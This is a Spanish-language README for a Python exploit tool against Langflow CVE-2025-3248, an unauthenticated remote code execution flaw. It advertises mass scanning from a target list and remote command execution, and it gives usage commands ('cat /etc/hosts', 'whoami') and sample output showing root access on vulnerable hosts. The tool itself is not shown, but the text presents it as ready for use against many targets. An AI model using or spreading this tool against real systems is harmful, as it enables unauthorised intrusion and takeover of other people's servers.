Exploit de Langflow CVE-2025-3248

Un exploit basado en Python para CVE-2025-3248, que permite a atacantes remotos no autenticados ejecutar código arbitrario en instancias vulnerables de Langflow mediante solicitudes HTTP manipuladas.

Características

• Escaneo de URL única o masivo desde archivo
• Detección automática de vulnerabilidades
• Capacidad de ejecución de comandos
• Salida detallada con información de tiempo
• Resultados guardados en archivos separados para objetivos vulnerables y no vulnerables
• Estadísticas de referencia para el rendimiento del escaneo

Uso

Escaneo de URL única

python CVE-2025-3248.py http://target-url -c "cat /etc/hosts"

Escaneo masivo desde archivo

python CVE-2025-3248.py -f targets.txt

Ejecución de comandos personalizados

python CVE-2025-3248.py -f targets.txt -c "whoami"

Ejemplo de salida

[*] Progress: 1/10 URLs checked
[*] Checking https://example.com
[+] Vulnerable - Command Output:
uid=0(root) gid=0(root) groups=0(root)
--------------------------------------------------

[*] Scan Summary:
[+] Total URLs checked: 10
[+] Vulnerable URLs: 3
[+] Not Vulnerable URLs: 7
[*] Total scan time: 25.34s
[*] Results saved to files with timestamp

fuente: https://github.com/verylazytech